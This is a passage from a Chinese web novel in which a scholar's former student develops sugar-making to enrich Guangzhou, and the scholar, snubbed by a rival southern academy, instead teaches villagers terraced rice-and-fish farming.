声望值在源源不断的在涨,只是不必他事事躬亲罢了。 这怎么不能算是一件好事呢? 反正他在北方的声望也已经足够了,正好要开分院校,他打算去南方找个合适的地方,再开展第二所分院,换谁去,都不如自己亲自去放心。 况且,退一步,也算是给皇上留下一个证明。 表示自己真的毫无谋反做大之心。 毕竟都干脆利落的“自贬”出乡了,还能怎么一呼百应呢? 学院里不少先生们仍旧难以接受,可一些人,如柏老、曹老等人,却莫名的被这套理论所说服。 他们是知晓分院校的事情的,原本想的是对方随便派几个老师去打前阵,等房子、地方都一并收拾好了,童启再过去招生不迟,可万万没想到,对方竟希望自己亲自去选择,从择地开始。 这份一心为了教书育人的纯粹,令不少人都感觉到了自省之意。 果然,折子递上去,皇帝看完后,也是十分的惊讶。 他既震惊于童启竟然愿意用山长之位,来换取十几个百姓的性命,又意外于以华夏书院如今如此庞大的影响力,已经是个完整的书院了,可童启却能够说退就退,毫无犹豫。 难道,对方就不贪恋这背后的权力吗? 他到底图什么? 不为钱不为官,现在连名也能不要,简直令人难以理解。 可想起自己还打算让童启入朝为官,担任辅政大臣的事,他又彻底的安下了心来。 不管如何,对方能够做到如此诚意,便已经表明了对大奉朝的忠诚。 他作为帝王,自然也乐得成全。 尤其是折子上那:“臣自愿前往南方,教化蛮夷,为圣上培养更多的忠良之士……”等话,更是无疑戳到了他的心坎上,让他甘愿给对方留下更多的空间与时间,慢慢科考不急。 大手一挥,同意了童启的要求。 几十名犯事的百姓被正式发往环县,担任苦役,但好在郭胜开在那处做父母官,所以可以稍微照顾着点,比起凌迟砍头之类,已经算是非常好的结局了。 亲自送着几十名百姓家属眼含热泪的离开,童启重新收拾行囊,准备前往江南,参加轮值讲学,然后再继续往南走,思索适合他建立分院校的地方。 学生们休沐归来,得知山长即将离开,且不再担任山长一职后,个个如同天塌了一般,嚷嚷着便要一同跟随。 童启立马阻止了,他道。 “明 年就是恩科考试了,难道你们不打算参加了吗?不必跟我走,科考最重要,我是去建校,又不是游玩。等分院校建好了,你们再去参观不迟。” 又不是什么生离死别,搞得这么重大做什么? 他明年可还要回来呢! 毕竟家就在这里。 对哦…… 因着童启这如常的态度,学生们原本的不安与焦虑也重新被安抚了下来,不再闹了。 可原本说好了要带去江南的学生名单,也跟着重新换了个遍。 童启从自愿跟随的学生们里面开始挑,不必马上参加科考的,年龄小的,优先考虑。 而赵天阙要去京城受封,所以李元昊和折继世也跟着被划分了出去,作为保护之人。 回头,有机会的话,京城再聚。 即便赵天阙泪盈盈,一步三回头,可皇命难违,也只能听从。 最后,他身边,只留下了王小花、童庆安、童淳、柳三变、苍蝇五人,童母被留下照顾妹妹,其他人则轻装简行,一路往南而去。 这边事了,且把目光轻移,放到远在广州的吴韧身上。 对方带着一家老小,自中榜之后,便被分到了广州,这里不同于现代的繁华、热闹,相比起中原之地,简直冷的不能再冷,偏的不能再偏。 不少百姓甚至连一身完整的衣服都凑不齐。 因着禁海运,禁走私,市舶司也形同虚设,压根没有任何大船停留。 别的同窗被分到任地,许是还要考虑与仕宦乡绅斗斗法,与世家子弟博博弈等之类的事情,可他呢,在这里别说世家乡绅了,连个识字的都少之又少。 更关键的是,还穷! 不仅树林多,瘴气多,遇到回南天阴雨绵绵,连衣服都很难晒干,搞得王绾儿带过来的下人们纷纷起了一身的红疹,吓人的紧。 呆了一年,吴韧几乎所有的事都亲历亲为,这才勉强将下下州,收拾成了下中州。 饿死、冻死的事情是彻底没了,可如何让百姓们富裕繁盛起来,营造出独属于广州的特产,方便与外界通商交流,便成为了他新的困境。 不忍心事事麻烦于山长,他与郭胜开、常仕进等人也经常以书信联络,讨论求助。 几个人倒是提出了不少有用的意见,可其中一条“制糖”之法,却只是听闻山长说过,未见其用过。 “我们这里甘蔗倒是非常的多,吃也吃不完,极甜,可却难以保存,若能够榨成汁,或做成山长口中曾提到过的雪花般的白糖的话,那想必一定能成为当地的致富之源,可究竟是怎么做到的呢?” 刘卜温来信,说“不如问问山长,先生向来不吝赐教与分享,若有这方子的话,定然会毫无保留的。” 常仕进却表示曾隐约听到山长提起过,是需要用大火蒸发的,然后拿某种物质来脱色提纯,使其干燥,便成了。 汪启元道,反正原材料足够,不想麻烦山长的话,不如请当地的工匠一一尝试一下,这样既总结出了经验,也不至于毫无思考,有时候来的过于容易,反而让百姓们养成了堕懒的心思,不利于管理和经营。 吴韧觉得都有道理,于是花钱请了不少能工巧匠过来,专门辟了一座宅子,来研究制糖之法。 就像是童启曾做过的那样种植实验一般,设置了好几套变量,作为观察。 一批批的甘蔗被拉近宅院里,再换做一匹匹榨干的碎渣被倒进田中。 辛苦了两三个月后,他们总算是成功研究出了白糖! 收到成品的那一天,那种骄傲与欣喜,简直难以言表。 他匆匆拿着呈糖的罐子,回到府中,递给王绾儿。 “猜猜看,这是什么?” 晶莹白洁的粒状体在日光的照耀下闪闪发亮,王绾儿轻捻了一点放入口中,惊喜不已。 “甜的,你制成了?恭喜,终于制成了!” 两夫妻欢快的拉着手在府中蹦蹦跳跳起来,开心的就像是个孩子一般。 第123章 第123章轮值讲学 或许是相比于其他人来说,华夏书院的学生皆成名过早。 所以按照大众惯性,百姓们一向是更加信服老一点的父母官。 尤其是吴韧这种二十岁不到便考中了榜眼,坐上了知州之位的,便更是容易让大多数百姓感到不安与不靠谱了。 刚开始,对方声称要用甘蔗制糖时,几个当地的种植大户还稍显漫不经心,认为其是在吹牛。 有心提醒两句吧,又见到对方买了大批的甘蔗,做实验,银钱一把把往外花,相反,他们的甘蔗却有了去处,省去了再往外运送售卖的环节,因此,也就乐得闭嘴不管了。 可眼睁睁看着对方真的制作出糖之后,他们的态度瞬间大改,想的却又不同了起来。 那可是糖啊! 像雪花一样的糖啊! 甘蔗不易保存,廉价、薄利,可白糖却是天价,贵重、易销! 这两个性质,是完全不能比拟的。 任谁都知道要选哪一个才对! 于是,当晚,县衙门口便围满了来套近乎的人,基本上都是当地的种甘蔗大户,目的却只有一个——索要白糖的制作方法。 以往憨厚老实的庄稼汉、地里人头一次脱去质朴的伪装,露出狡猾、贪婪的野望来,舔着脸极尽拥捧道。 “知州大人,我就知道,您是个做大事的!咱们这地界没什么值钱的东西,要不是您心怜我们,谁肯费心费力啊?这好不容易搞出来个东西,让您就这么掏出来,也未免有些不懂事,这是家里存的野货,您瞅瞅得用的着不?喜欢的话,我还有!” “大人年轻有为,真是风姿卓越啊!听说那白糖制作起来极其容易,不知道您打算把方子给谁用呢?” “我家小女年十又二,长得俏丽无双,愿自荐枕席,作为妾室,送入府中,只要您一声令下就行!” “别的不敢说,单说这利益,我愿与大人四六分,共同富裕啊!” …… 吴韧抬起手,无奈的阻止了大家乱七八糟的献媚。 同时让衙役们通知下去,将所有州府里种植甘蔗的农户全部集结了起来。 一起开会。 他做官并非为了赚钱,更无意拿这方子去要挟索取什么东西,纯粹是为了遵守山长所说的,一切为民罢了。 想起曾经目睹的那场琉璃方子拍卖会,他如法炮制,也不要这些人奉上什么,只要他们赚钱了各自承担一份责任就行。 责任? 十几个农户大家面面相觑,不知道这到底是什么意思。 “意思就是,这方子我会免费分享给大家,不收取一文钱,你们种出甘蔗后,是愿意制成糖往外卖,便自己往外卖,愿意提供给衙门,统一按照市场价收取,就统一按照市场价收取,这皆是你们自己可以选择的事情。而你们要做的,便是领取一份工事作为替换。” 他掀起木板上张贴起来的工事记录,一一展示给大家看。 只见到其上有修路、修庙、疏通排水沟、架设桥梁、义诊、施粥等多种方法,皆是衙门里原本应该干的事。 可由于衙门里没钱,所以便一直拖到了现在。 如今借着分享制糖方子的方法,他将此事统一托付给每位大户去做,既减轻了衙门里的负担,又不用收取百姓的银钱,完美解决了基建问题和引领百姓致富,这不是双赢,又是什么呢? 有人当场便掰着手指头算了起来,雇佣百姓劳役们修路与制糖卖糖之间,赚取的银钱,到底哪个更多一些。 但很快的,大家同时得到了一个结果。 那就是,即便是修路要修个一年半载,比起来,也远不止制糖方子所带来的利润,那么多。 更何况,这方子是可以世世代代往下传的,纵是吴韧离开此地,去别处当官,他们也依旧 可以继续做这个营生! 于是,众人纷纷签字同意,各自认领起自己想要的段落来。 当然,也有那疑心重的,仍旧忌惮其中是否藏着奸佞之事,等他们修好后,会不会再次遇到刁难,反复以不满意为由,拒不查收的,犹犹豫豫着提出可不可以把这工事换算成银钱,让官府统一出人雇佣。 吴韧也皆一一同意了。 随着这场制糖“拍卖”会的圆满结束,整个广州的道路、桥梁、修缮之事,几乎全部被承包了出去。 而种植的农户们也皆欣喜无比,连忙回家各自实验起制糖的法子来。 将地里的甘蔗统一转换成一袋袋白糖,运了出去。 由于建路缺人手、制糖缺人手,当地的百姓们顿时身价大涨,有了更多的工作机会,府衙里的税收也节节升高,再次跃升,顺利进入了中层州府的级别之中。 皇上看到这折子后,龙颜大悦。 若是老官员,拿到如此功绩,自然算平平,可对于只是做了一年知府,便将任地做到这样的成绩的吴韧,那简直就是亮眼! 他再三夸赞,令人奖赏了一系列的东西给对方,同时回复着期待对方任期结束后,回到京城,为其继续效力的话语。 升官、看重,简直就是明晃晃,不加掩饰。 底下的大皇子看着圣上的表情,想起那吴韧的出身,也是华夏书院,算是三皇子的人,不由更加嫉恨,狠狠掐住了自己的掌心,同时,眼中也骤然闪过一丝焦躁与愤怒来。 童启坐在马车上,晃悠悠看着吴韧写来的信。 字里行间,满是“求夸赞”的表述,不由的笑出声来。 他拿着信,给童庆安等人简单的讲了讲为什么吴韧会选择如此做,又耐心的描述了当他们担任官员时,要如何平衡当地百姓与势力之间关系的方法,这才磨墨提笔,好生将其夸了一通,令人重新回信给广州。 当然,他们这些人通信,至始至终用的都是谢家的路子。 自谢君仪给他们开了道后,这条线路,基本上便被华夏书院的信件所占领了。 也就庆幸谢家势力庞大,遍布大奉朝,所以官道驿站都十分畅通,不然的话,他们这些询问、商议、报告之类的,便彻底做不得了。 学生一毕业,真的就跟失联了一般。 盲目抓瞎。 思及起谢君仪,童启不由好奇的问向一旁的童庆安来。 “这一次天阙回京,听说谢君仪也提前跟去了,他不是明年恩科才参加会试吗?那么早回去做什么?” 童庆安还未回答,柳三变已经提前抢先道出了原因。 “据说是因为他赶着回去想要恶心恶心他的父亲与嫡兄!再加上不放心天阙的事,索性便跟着,近距离看着些。” 童启了然的点了点头。 关于谢家的事,他多少也从谢君仪口中听到过几次。 虽不敢苟同其谢家家主那一套养蛊式育儿的方法,但也听闻了谢家嫡子谢文斌,乃是个擅长读书的,师从国子监,小小年纪便拿下了举人之名。 前年与吴韧他们一届科考,但成绩却似乎不太理想,明年要再考一次。 若正好碰上同样也要考会试的谢君仪,想来,心情应该不会有多好吧? 正如童启所想的那样,回到京都的谢君仪,简直就是张扬到了极致。 恨不得昭告天下,他已经拿到了举人之名,即将与谢家嫡子谢文斌一起参加明年恩科的事情。 “听说了吗?谢家庶子争气了一回,已经拿下举人之位了!” “什么?这才几年?果然这华夏书院就是擅长科考啊!” “了不得,那明年恩科岂不是两兄弟同场作战?也不知道一个在京都,一个在伊川,到底是谁棋高一着?” …… 街里邻坊之间,关于两兄弟的事传的是沸沸扬扬,就连国子监内的不少士子,都得知了,笑盈盈的打趣道。 “文斌,怎么样啊?你那个废物弟弟跟你挑战呢,你不应战?” 谢文斌强忍着心头火,垂眸看着手里的书卷,不做回答,可脚下,却恨不得碾死那个庶子,将其永久的踢出大奉朝去。 偏偏此事还真做不到。 谢君仪如今早已远非那个毫无反抗之力的小孩了,他将赵天阙一行人送进宫后,并不回家,转头便去找了杨舟万、常仕进等人。 共同八卦郭胜开与山长互通书信的事情。 “听说他给山长写了好几封,慰问身体的信件,山长实在拗不过,便回信吐槽了一番顾知府,结果他立马便让吏部侍郎家的小姐禀告了自家父亲,我来时,那顾信之已经被调走了,去了岭南,算是妥妥的贬谪!可能耐死他了!当谁做不到呢?惯会出风头!” 谢君仪酸酸的说道。 他当然不会承认,自己是吃了山长写信的醋。 但明明都是同一届入校,按理说,算是真正的同窗,可就因为对方早学了几年,便早早的当了官,给童启做起事来了,而他却还是学生一个,等待着与第三届的学生们共同科考。 简直气死人。 常仕进好笑的给他倒了杯茶水,安抚道,“那有什么,大家都是书院里的学生,早一届晚一届有什么不同?” 那当然不同了! 谢君仪瞪大了眼,给常仕进讲述着自己的“分级”。 像是童山长亲手教出来的第一届,童启肯定是最上心,最熟悉的,第二届次之,第三届便勉强只能认清楚几个名字了,等到第四届呢? 直接山长都换了个人! “你觉得是童山长任中进的书院好,还是柏老先生任中进书院的好?当然我没有看不起柏老的意思,但你应该也听过两者的课,童山长教学的方式可是和大奉朝内所有的先生都不同的!” 而柏老却与其他大儒,没什么两样。 常仕进顺着这个思路,沉思起来。 确实。 不同的山长,教学理念的不同,导致学生风格也会完全不一样,山长重视实用,教他们以百姓为本,不拘规则限制之内,只要能达成目的,遵从心中本能,无愧天地即可。可柏老等人却重逻辑理念,教他们为官之道,以圣上为主,要在规则内遵守条约,和光同尘。 很少说两者哪一种更好,但作为学生,他更喜欢童山长。 两人边聊着天,边回忆着在书院里的日子,往事历历在目,温馨又惬意。 而童启等一行人,也在长达半个多月后,兜兜转转,到达了南方。 河水此时已经被冻得结了冰,路上的行人步履 匆匆,似是难以忍受这瑟瑟的冷风吹拂,将整个脑袋、脖颈都围得密密实实。 求真书院内,领头登记的儒士听到他的名字,一脸诧异,抬起头上上下下打量了一番后,这才轻佻的笑了几声,道。 “没想到您还真来了?抱歉啊,今日已经是轮值讲学的最后一日了,您来晚了,不少听课的学生们已经各自回了乡,我们尚未准备好其他的日子,下次吧,等下次,我们再给你们登台的机会。” 说罢,竟连让他们进入书院都不让,直接便打算关闭院门,谢客了事了。 旁边的柳三变一脸愤怒,顿时上前大骂道。 “你们这些狗眼看人低的东西,算什么读书人?好端端的请我们山长来讲学,到了,却又说结束了?这请帖上分明说了,明日才是最后一天,打量我们什么都不知道呢?如此捧高踩低,言诺无信,也敢自称君子?” 童庆安和童淳同样也气的不行,紧跟着附和道。 “对啊,这也太欺人太甚了一些,山长,我们走,管他什么邀请函呢,倒要将此事说出去,好好评个理,看看是否就是江南学子的品性!真是令人开了眼了!” 那儒士登时慌张起来,连忙拽住几人,妥协道。 “罢罢罢,你们愿意讲,那明日登台讲便是,何必如此得理不饶人呢?不过我事先可说好了,别怪我没提醒,来听课的学子们当真是走了不少,若到时无人听,那可不是我们的原因。” 对方耸耸肩,给其登记完了名字,也不说住宿安排,直接便甩袖离开了。 这还是童山长第一次遇到如此轻慢他的人,颇觉新鲜。 看来南方与北方对他的态度是真的确有不同。原本他还以为系统的声望值地图上,北方一片通红,如燃烧的燎燎草原,而南方却只有零星粉色,乃是统计不够清楚的原因。 没想到,这里还真的是不鸟他啊。 不同于伊川县一开始的学风不胜,江南之地,向来是书香门第聚集之所。 吟诗诵词者不少,识字率更是高的惊人! 即便童启凭借着各种功绩已经在朝堂上小有名气,但在南方,却依旧只是一个小小的儒生,大家依旧把他当作一个只是写了几篇文章,还算不错的人来看待,而不是像别的人一样,尊称其为“大儒”。 尤其是在他丧失了华夏书院的“山长”之位后,似乎有更多的人对其本身的价值估量,更低了几分。 就连掩饰,都已经不愿掩饰了。 安抚好学生们的怒火,他们沿着街道,开始寻找起住宿的酒馆来。 可许是因着轮值讲学的事,大大小小的驿站酒馆都已经被形形色色的儒生所占领。 即便离开了不少,可依旧还是有许多人因着各种原因,尚且停留在这座城中。 在连着问了好几家都没有问到合适的地方后,他们索性一路出了城,入住到了当地的农户家里。 第124章 第124章梯田养鱼 求真书院内部。 斋长王应昕躺在竹椅上,手边檀香小炉烧的正旺,他执起扇子轻轻的扇着,耳边听着手底下人的禀报,十分得意。 没错,童启来此遇到的刁难,就是他故意设计的。 自前年科考,华夏书院的学生包揽前三甲,还折损了他手下最骄傲的学生之后,他便与童启彻底成了死仇。 什么童大山长? 不过是一个只知死读书、营销攀附的黄毛小子罢了。 凭借着一家书院,包揽了那么多光芒,又是上前线,又是深受皇帝宠爱信任的,他就不信,对方哪里来的时间去钻研学问! 一定都是吹出来的! 泥腿子而已。 得到一点不属于自己的东西就耀武扬威。 呵,他们王家为官做宰的时候,童家还不知道在哪个犄角旮旯里刨食呢! 这一次轮值讲学,他便是特意邀请来的童启,为的就是在所有学子面前,好好杀一杀他的威风,揭穿他隐藏在盛名之下的伪装!让其知道什么叫做人外有人,天外有天! 他随手招来底下的书童,细语几句,让其再去布置一下明日的讲学台。务必要好好尽一尽“地主之谊”,让这北方的“大儒”深刻感觉到什么叫做“宾至如归”。 且不论其摩拳擦掌,准备了什么“惊喜”。 只说童启等一行人一路借宿,越过建康府城外,来到了一处地,名为横屋村。 这横屋村,人丁不过百户,可建筑风格却极其具有特色,不同于坐北朝南的大众选择,统一是横着修的。 与官道持平。 看起来,就像是突兀的横出一截,用回字形样板房拼接成的村子一般。 童庆安等人好奇的打量着,忍不住率先发问道。 “老伯,你们这地界为什么要这样修屋子啊?不觉得奇怪吗?” 哪里有和官道并着修的,人来车往的,岂不是天天要吃上一嘴的灰? 对面的老汉看起来四十有余,头一次见到如此多贵人,早已慌得不知道手该往哪里放了,忙颤颤巍巍答道。 “我们也不想如此,可村内丘陵、山川太多,平整的耕地过少,为了绕过那些山坳,多留些水田出来,我们只能把房子如此修建,方便种植,并非有意如此。” 他生怕解释不通,见几人感兴趣,便干脆领着他们前往村口,亲自去看那弯弯折折的地。 对于老百姓来说,土地就是命根子。 一如其所讲的,这个村里的耕地简直少的可怜,大部分都被丘陵所占据,即便靠着改变房屋方向去节省土地面积,可整个看过去,加起来,也尚不足五十亩地。 剩下的则统一被山地所笼罩,层层叠叠。 一眼望不见尽头。 童启认真的打量着山地与村落的距离,弯腰查看那些稻谷,水润润,明显是被精心照顾的样子,可因为狭窄,却只能龟缩在山坳中,被遮挡的严严实实。 分外可怜。 他抬起头,看着远处的河流,越看越觉得此处很像现代所设计的梯田模样,不由得问道,“你们为什么不尝试一下在那丘陵上面种呢?我看那平台也蛮宽阔的,且水土也尚可。” 旁边的老汉忙摇摇头,“贵人不知,那水稻、大豆是需要水来养着的,我们哪里能引水上去呢?更何况一下雨,山地便往下冲泥沙,根本存不住任何东西,简直种什么死什么。” 归根到底,还是排水做的差。 且土壤也不行。 童启摸着下巴,认真的思考起现代提高土地肥力及埂坎修筑的知识,而学生们则一脸新奇,围着稻谷不断的观察着。 实际上,这还是他们现实生活中第一次见到稻谷生长的样子。 虽吃过,可食用的时候都已是饱满的米粒,还从未在刚刚播种下来的时候,见到过这副绿油油之景。 尤其是水中所长的样子,更是令他们惊讶非常。 柳三变因此还特意做了一首诗,名字就叫做《稻谷颂》,以此来表达他首次见到稻谷时的激动之情。 一众人看完后,被带着再次回到了村落里。 老汉的妇人已经带着儿媳将家里整体收拾了一通,生怕因为太过脏乱,而唐突了几人。 童启倒是不嫌弃,他坐在小板凳上,认真看过老汉家所有的农田工具后,干脆的询问起如今的收成来。 你来我往几句话里,尽是一副了解的样子。 那老汉吃了一惊。 没想到贵人竟然也会懂种地之术? 本来还拘谨,可几句话下去,也不由打开了话匣子,和众人交谈起来。 “其实我们村已经算是好的了,隔壁大坞村那才叫真正的山地丘陵多呢,他们那地界,压根种不了稻谷,只能种茶,可茶树喜湿,喜光,光是为了浇水,每年就得忙活好几个月,收了茶之后,卖到集市里,那些贵人们又喜欢压价,赚来的钱还不如我们这五十多亩地的收成,好歹能吃呢!” “听说城里收佃户,前年村里好多人都搬走了,愿意自卖出去,给贵人们种田,多少混一碗饭吃。” “我们家也快撑不住了,儿媳妇今年怀了孕,多添了张嘴,就是多了一份开销,但愿今年这田里收成能争气一些,不然的话,我这老胳膊老腿,只怕也得跟儿子一样,出去做苦役,就这,也是勉强维生而已。” …… 童庆安等一众学生认真听着,边听边在手边记录着这些要闻。 这是童启带他们“游学”的条件之一,你不能只是走马观花,如同局外人一般看一遍就算,要想百姓所想,忧百姓所忧,才知道这朝廷到底需要什么。 如何才能够让百姓安乐。 他们一起席地坐在稻杆上,再次举手问道。 “既然收成如此少,那你们就没有想过用其他的方法增添营收吗?例如种蘑菇、种果树之类的,这种附加产品,按理说应该也能带来一点收益才是啊。” 旁边的老妇长叹了口气,“我们倒是想呢,可果树需要种子,我们根本买不到,蘑菇的话……那得看运气,但凡哪日下雨比较多,去山里拾捡,多少能捡到一些,可运气不好的话,就会碰到巡山的,不仅要将我们打出去,还得罚钱呢?” “罚钱?为什么罚钱?” 见这群人什么都不知晓,那老汉站起身,指着几座最高的山脉,道,“那几座,皆是有主的,地契在城中的贵族、世家手里。他们一向霸道,禁止我们百姓入山找东西吃,冬日天寒,连柴火都不许捡的,更何况蘑菇?” 头一回听说这样的事,童庆安等人皆忍不住露出惊愕的表情。 他们华夏书院也是建在沧澜山上,地契之类都在童启手中。 但向来没听说过禁止百姓上山这一套。 每逢春秋之时,山上野果熟了,山长还会叫底下的百姓们上山自采,别说柴火了,就是树木,真有人用得着的时候,也是不吝砍伐的。 他们面面相觑,皆不懂世家如此做的原因。 走出书院,看到这大千世界后,才终于知道原来种种,并非常态,反而是一种另类。 难怪山长离开时,整个县城的百姓哭的跟死了爹妈一般。 若是他们遇到如此 “体贴”的山长,只怕也会拼命想尽办法,留住对方吧? 见学生们一脸敬畏之色,童启忍不住摇了摇头,从携带的包袱里,掏出几粒蔬果的种子,递了过去。 “这皆是我在北方时,找人收集到的各类果树种子,若你们想试一试,可以拿这些去尝试。” “这……这怎么好意思?” 老汉几人见状,忙手忙脚乱的推辞道。 童启强硬的塞了过去,说,“就当是我们入住的房费,还请莫要推辞。” 见贵人并不把这些东西当作什么贵重之物,老汉几人懵了几秒,也只能收下,可当晚却忍不住杀了一只鸡,用来犒劳他们,以作回报。 见状,童启也忍不住说出了他对此地的一些建议。 “还请老伯莫怪我多事,但你们村的气候与湿度实际上非常适合种植水稻,那几座丘陵我仔细观察了一下,其实并非无药可救。只要种成梯田,将部分田面收拾平整,同时修筑田坎,便可以留存水土,改善此地的环境与气候。只是可能调整的地方比较多,需要不少人力物力……” 还没等童启说完,对面已经一脸激动的站了起来,打断道。 “人力物力算什么?我们乡下人家,最不缺的就是一把子力气,若真能扩大咱们的耕作面积,那您可就是我们整个横屋村的大恩人了!我们愿意一试,只是不知您说的那什么梯田,要如何操作,具体又需要什么东西呢?” “其实只需要修坎添土即可,这样吧,我明天带你亲自去试验一下,你便知晓了。若你们愿意的话,其实还可以在那梯田里种一些鱼、蟹之类的,形成整个完整的生态系统,收成也许比现在的普通水田还要更高一些……” 童启的话令老汉一家听的眼中异彩连连,只恨不得觉也不睡了,直接就到达第二天。 几位陪坐的学生们虽觉惊异,山长北方出生,何时知道的适合南方丘陵地带的梯田之法,可想起对方“生来知之”的各种异闻,师门传承的神秘之处,倒也不觉奇怪,只是心中对山长更加佩服了几分。 “难怪书院里总是有各种的农学书籍,一到春种秋收时间,书院里便鼓励我们去参加课外实践,获取分数,原来这农田之事,对于百姓们竟如此重要?” 童淳忍不住感叹着,旁边的童庆安附和道。 “那是自然,我小时候做乞丐时,经常见到两户因为抢水浇种而打架,激烈时,甚至能出人命呢!” 对于百姓来说,农学庶务一向是头等大事。 只不过,通常书院里很少教这个罢了。 毕竟谁家君子花费那么多钱,是为了种田去的啊? 大多数都是为了平步青云,为官做宰罢了。 只是如游学一般走马观花看一遍,在策论里无病呻吟的叹几叹,又怎么可能会有实际生活中所见到的那样震撼呢? 望着童启认真讲解的背影,几小只皆忍不住一股骄傲之感涌上心头。 整个大奉朝,估摸着,也就他们的山长上知天文,下至地理,对什么都了解,才会如此深入百姓之间,急百姓之所急,却毫无索求了吧? 一群人被迷得神魂颠倒,连约好的讲学都直接给抛到了九霄云外去。 第二日,一大早,童启便带着老汉一起去了田间,不仅将他们的农具改的更加方便了一些,还亲自实验如何用竹管与水车更方便的引水入田,排水换水等。 看的附近围观的村民们,都忍不住惊叹不已。 胡老三是横屋村隔壁村的人,因着女儿嫁到了此处,总是一有时间便来此地转转,接济一二。 今日,他再次早早的起了床,和老妇打了个招呼,便拿起稻米向着横屋村而去。 可谁知到了村口,却发现其内安静的可怕,连走了数百米,都没有见到一个村民,不由的心里打起鼓来,一直到田间,这才见到了人影,勉强松了口气。 “嘿,你们都在这里聚着做什么?” 他疑惑道,上前拍了拍亲家的肩膀,还未说完,便被对方连忙制止了,头也不回的道了声“嘘。” 胡老三:??? 他仰头看看四周,这才后知后觉的发现几乎大半个横屋村的人竟都聚在了这里,正围观着核心区域里一个看起来十分年轻的儒士,在讲解着什么。 他好奇的探头过去,听着对方清朗的声音,缓缓讲述道。 “……其实这是最笨的方法,但如此做,可以长时间保持梯田内的水质清新,溶氧充足。因为其内养着鱼蟹,所以还要谨防各种鱼病以及寄生虫的发生,定期用生石灰对梯田水进行消毒,十分关键……” 恩?梯田?那是什么? 什么鱼病,什么又是寄生虫? 胡老三满心疑问,还未开口,旁边已经有村民替他问出了声。 “小先生,什么是寄生虫啊?” 童启顿了顿,喝了口水,解释道,“寄生虫就是咱们平时肉眼所看不到的一些微小的细菌,经常生活在生水里,繁衍生殖,如果不慎进入到人体中,就会寄生在咱们的身体里,进行破坏,严重的,还可能会蚕食体内的营养,钻到各种器官里……” 众人忍不住抖了几抖。 “那咱们平日里喝的水中也会有这种东西吗?我体内不会已经长虫了啊?我会不会死啊!” “没有那么可怕,大家只要多注意,其实是没那么容易感染的,只是要尽量少喝生水,一些鱼肉、蟹类,最好煮熟、烧开,这样才能把其中大多数的寄生虫所杀死……” 至于打虫药,抱歉,童启直接跳过了这个话题,因为不是他所擅长的领域。 即便说出来,以此时的科技,也未必能做得到。 只能尽量预防为主了。 众人认真的听着,不断点头。 旁边的王小花却疯狂记着笔记,她总觉得以前看到过一些患者肚子变大变肿、腹泻不止,正与山长所说的这种寄生虫感染的状况十分相似,既如此,那便是多了一个研究方向,先记下来,没准以后,便能研究出克制此物的药品来呢! 胡老三站在外围,越听越是严肃,他头一次知道身边的各种东西,竟还有如此多的说法,趁着童启间断时,不由的赶忙回了村落,通知其他的村民,过来听讲。 日上三竿,肚子已经响起了空城计。 求真书院内。 早就准备好了不少闲汉找事起哄的王应昕左等右等,都没有见到人来,耐心也逐渐被消耗殆尽。 “派人去看看,到底怎么回事?” 底下的学生们领命,忙驾着车往横屋村而去。 等到了的时候,却见到整个村落里几乎已经被挤得人山人海,不得寸入。 而那童山长正把长衫袖在了腰间,蹲在田地里,讲解着排水口的设置方法,极尽详细。 听闻有贵人在讲解将丘陵变为良田的方法,附近闻声而来的百姓越来越多。 不少人听的双眼发亮,投入不已,连马车进了村,都毫无注意。 见到这副场景,求真书院的人一脸嫌弃,远远的站在外围喊出声来。 “童山长,您怎么还在这里?讲学台已经布置好了,今日是您的轮值讲学时间,我们书院的学子们还正等待着您前往讲课呢!” 骤然被打断,童启并其他的百姓们忍不住回头而望。 只见到一匹装修十分精美的马车正停靠在路旁,领头的书童站在车辕上,一脸桀骜,穿着锦衣绸缎,配着香草绣囊,远远的看着他们,连鞋都不肯沾湿半分。 其打扮风姿。 竟比北方的不少学子还要更像读书人一些。 “您……您是要去参加轮值讲学的大儒吗?” 留宿的老汉慌张的问道,这才知晓了眼前人的贵重。 本以为如此年轻,估摸着也是来参与听讲的学子罢了,没想到,竟是在台上讲课的大儒? 那可是四大书院联合起来举办的轮值讲学啊! 每四年才一届,非知名儒士不可参加。 能参与轮学讲值的,可都是贵人中的贵人,儒士中的儒士。 而他们这些庶民们,没想到竟有一天,也享受了与那些贵人同等的待遇,不仅有幸听课,还能看到对方毫无架子,蹲在田间陪着他们一起伺候庄稼? 这简直令人受宠若惊。 童启眉头微皱,看着那书童眼中的居高临下,不悦问道,“昨日里你们书院的人不是说已经没剩多少学生了吗?既如此,我还有必要过去吗?反正都是讲学,跟谁讲不是讲,我就在这里讲吧。” 什么? 这里讲? 看着四下无人可站立的泥泞地方,一群面色饥黄、素面朝天的百姓们,那书童简直被惊呆了,只得嗫嚅的说道。 “童山长,这……这不符合规矩。” “哦?什么规矩?我还以为你们书院没有什么规矩呢。” 旁边的柳三变忍不住回怼道。 毕竟远来是客,他们尚且能做到第一天连住宿的地方都腾不出来一间,那哪里还有什么规矩? 不知道的,还以为他们是上赶着过来的,若不是开分院校,山长本就有意向南走,顺带着来讲个学,鬼才往建康府拐。结果呢,他们却处处流露出一副矜贵之色,像是看乡下土包子一般的鄙夷表情。 呵,真是给了脸了。 什么贵族,什么书香门第,既是讲学,那在高台之上,还是天地之间,又有何区别呢? 说完,童启也不理会,直接站在地里便继续讲起课来,只是他的内容不再是什么经书史籍,而是田地里需要注意的事项。 这些对于老百姓来说,简直无法抗拒。 很快的,横屋村的人越来越多。 那书童无法,只得忙架着车回去禀告,王应昕听完后被吓了一跳,没想到这童山长竟然是如此不讲规矩之人,但也没办法,人家不来,他们也不能强求不是? 于是只能带着一群学生和早安排好的闲汉们转战横屋村,前往听课。 他们恨得牙痒痒,发誓一定要在一会儿狠狠灭了童启的面子,可到了之后才发现,他们根本到不了前面去。 童启站在梯田之上,拿着书院里带出来的喇叭,一点也没有藏着掖着的意思。 直接从当地的山势、土地、降雨量、适合种植的作物开始讲起。 近而到蘑菇应如何人工培育、果树应注意何种种植方法,不仅如此,他还能够随时应答百姓们的发问,顺带着解释一圈什么叫做“合作社”、如何帮助百姓们“互惠互利”,跳过世家、贵族,搭建属于他们自己的农产品平台等等。 其中的内容,简直如同惊天之言。 听到这些,一些人忍不住直接变脸,别说王应昕了,就是那些被安排好来找事的闲汉们,都不由被其中的经济学理论所吸引,认真的考虑起从商的可能来。 尤其是那“商业就是利用信息差来赚钱”的说法,更是如耳边钟声嗡鸣,令他们瞬间醒悟。 一时间,不少人纷纷加入了听课之中,整个横屋村几乎被围得水泄不通。 求真书院的学子们你看我我看你,皆敛声屏气,不敢说话了。 